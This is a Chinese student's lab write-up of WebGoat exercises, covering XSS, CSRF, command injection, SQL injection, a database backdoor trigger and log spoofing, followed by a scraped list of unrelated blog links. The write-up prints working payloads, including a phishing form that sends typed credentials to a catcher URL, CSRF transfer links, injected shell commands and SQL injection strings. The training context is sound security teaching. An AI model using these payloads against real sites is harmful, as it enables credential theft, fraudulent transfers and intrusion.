20155202《网络对抗》Exp9 web安全基础实践

实验前回答问题

(1)SQL注入攻击原理,如何防御

  • SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。

    解决办法

  • 从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。

(2)XSS攻击的原理,如何防御

  • XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
    执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
    表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
    施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
    大的,是web安全的头号大敌

    解决方法

  • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤.
  • 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

(3)CSRF攻击原理,如何防御

  • CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
    攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

    解决办法:

  • 目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

WebGoat进行实验

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程.接下来就来配置webgoat。

  • 但是非常不幸,我安装webgoat时候问题百出,不知道为什么,我的jdk正常,java可以运行
  • 本以为是jar包的问题,按照网上教程将MANIFEST里:后加了空格,发现没卵子用
  • 下载了不同版本的webgoat-jar文件进行安装,
  • 无济于事
  • 最后只能拷老师的虚拟机进行实验(不想再在配置电脑上耗费时间了)
  • emmm,very good
  • WebGoat使用8080端口,在浏览器上访问localhost:8080/WebGoat,进入WebGoat。

练习题目:

1.Phishing with XSS (网路钓鱼)

2.Stored XSS Attacks (存储型xss攻击)

3.Reflected XSS Attacks(非存储型xss攻击,反射型)

4.Cross Site Request Forgery

5.CSRF Prompt By-Pass

6.Command Injection

7.Numeric SQL Injection

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

9.Database Backdoors

10.Log Spoofing

XSS练习

1.Phishing with XSS (网路钓鱼)

  • 本题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码如下:
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:
  • 然后随便填一下,提交
  • 这就是传数据回来了,攻击成功
  • 2.Stored XSS Attacks (存储型xss攻击)

    这个就有点弱鸡了,创建非法的消息内容,导致其他用户访问时载入非预期的页面或内容,这个和实验八里面差不多,就message中输入一串代码比如<script>alert("you have been died");</script>,然后提交后就蹦出来代码了

  • 3.Reflected XSS Attacks(非存储型xss攻击,反射型)

  • 当输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示,比如下面这个购物车:
  • 这时如果我们将带有攻击性的URL作为输入源,在zx那里输入<script>alert("lalala");</script>,就会弹出对话框:

第2个和第3个效果相同但是原理不同

  • 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

  • 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
    点击弹出自己的在该网站的cookie:

CSRF攻击

4.Cross Site Request Forgery

  • 目的:写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 在message框中输入代码:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,其中Screen和menu在当前页面的右边Parameters进行查看:
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

5.CSRF Prompt By-Pass

  • 包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)
    先在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100进入确认转账请求页面
  • 转账请求
  • 点击CONFIRM按钮,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功转走了100元:
  • 确认转账成功

Injection Flaws训练

6.Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上"& netstat -an & ipconfig":
  • 之后在下拉菜单中能看到修改后的值
  • 选中修改后的值再点view,出现系统网络连接情况:

7.Numeric SQL Injection

  • 通过注入SQL字符串的方式查看所有的天气数据,加上一个1=1这种永真式即可达到目的,在任意一个值比如101旁边加上or 1=1
  • 选中Columbia,点Go,可以看到所有天气数据
  • LAB:SQL Injection(Stage 1:String SQL Injection)

  • 先以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,登录失败:
  • 到源代码里寻找原因,发现最大键入值有问题,就八位,太小了,改成30位
  • 再退出,重新登录,成功

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile:

  • 在网页代码中分析这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 重新登录可以查看到老板的信息:

9.Database Backdoors

  • 先输101,得到了该用户的信息:
  • 发现输入的语句没有验证,可以进行SQL注入,输入注入语句:101; update employee set salary=200000
  • 攻击成功
  • 注入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
    表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。

10.Log Spoofing

  • 输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入zx%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
  • 攻击成功

实验体会

  • 这次实验我webgoat安装不上就很难受,最难受的应该是这个:写了一晚上博客最后想Ctrl A,Ctrl C到有道云失手成了Ctrl V,然后发现博客园后台没有Ctrl Z
  • 这篇博客是在误删后重新写的,有些地方描述不是很准确,写的比较急了第二次。
    这次实验通过使用webgoat做了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,让我对我们这些菜鸡编出来的代码极度的否定态度,没有找不出来的漏洞,所以在信息安全这条道路上好好的体会琢磨吧,道阻且艰!

转载于:https://www.cnblogs.com/zx20155202/p/9031601.html

20155202《网络对抗》Exp9 web安全基础实践相关推荐

  1. 2018-2019 20165208 网络对抗 Exp9 Web安全基础

    目录 2018-2019 20165208 网络对抗 Exp9 Web安全基础 实验内容 基础问题回答 实践过程记录 1. WebGoat准备 2. SQL注入攻击 2.1 Command Injec ...

  2. 20145227鄢曼君《网络对抗》Web安全基础实践

    20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...

  3. 20145239杜文超《网络对抗》- Web安全基础实践

    20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  4. 网络对抗 Exp9 Web安全基础 20154311 王卓然

    Exp9 Web安全基础 1. 实验内容 理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 2.实验步骤 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应 ...

  5. 20145209刘一阳《网络对抗》Exp9 Web安全基础实践

    20145209刘一阳<网络对抗>Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求 ...

  6. Exp9 Web安全基础实践 20164323段钊阳

    网络对抗技术 20164323 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭 ...

  7. EXP9 web安全基础实践

    <网络对抗>Exp9 Web安全基础实践 WXP2 后门原理 一.基础问题回答 1.SQL注入原理,如何防御 SQL注入原理: 就是通过把SQL命令插入到"Web表单递交&quo ...

  8. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  9. 20164305 徐广皓《网络对抗》Exp9 Web安全基础实践

      1.WebGoat实践 (1)wegoat安装 下载 webgoat-container-7.0.1-war-exec.jar ,开启WebGoat,在终端中输入命令 java -jar webg ...

最新文章

  1. 今年的谷歌I/O大会,或许会有这些东西
  2. 大二菜鸟———无重复字符的最长子串
  3. asterisk 配置 mysql_Asterisk的配置详解
  4. Django Channels 入门指南
  5. 每年通过率仅1%的“天才考试”,中国到底应不应该学?
  6. SpringBootAdmin
  7. 在相册查看保存的图片
  8. 二进制十六进制相互转换
  9. 以xml html编写的的学生管理系统,基于.NET和XML的学生中心数据库管理系统的研究与实现...
  10. windows 7 与linux 双系统 安装
  11. php为什么要有非静态方法,php中非静态方法的静态调用【解释】
  12. aria2,破解限速的傻瓜式教程
  13. 数字图像处理笔记——Snakes算法、活动轮廓以及水平集(Snakes, active contours, and level sets)
  14. 颜色的英语单词,最好是中文和英文的
  15. VPP /什么是VPP?
  16. codewars----Exes and Ohs
  17. 趣图:程序员先发现下雨了
  18. IT人系列一 王珅:程序员转型做旧书书商年交易额逾千万
  19. 优秀网页翻译:DS3231与 PCF2129 RTC比较
  20. hdmi网线延长器_HDMI单网线延长器50米高清传输解决方案

热门文章

  1. 出生日期范围的Sql语句_【呕心总结】python如何与mysql实现交互及常用sql语句
  2. fastdfs 吗 支持windows_主流开源文件存储系统-fastdfs是否支持windows?你可以选择minio...
  3. SpringMVC请求流程
  4. 线程的生命周期及五种基本状态介绍
  5. 使用entrySet遍历Map类集合KV,而不是keySet方式进行遍历
  6. 电脑软件:推荐八款提高工作效率的软件,值得收藏!
  7. 数据迁移,不停机上线的正确姿势
  8. 程序员最反感的十件事,你有同感吗?
  9. 实现Windows和Linux之间的文件共享
  10. 【ROS问题】rqt_plot运行报错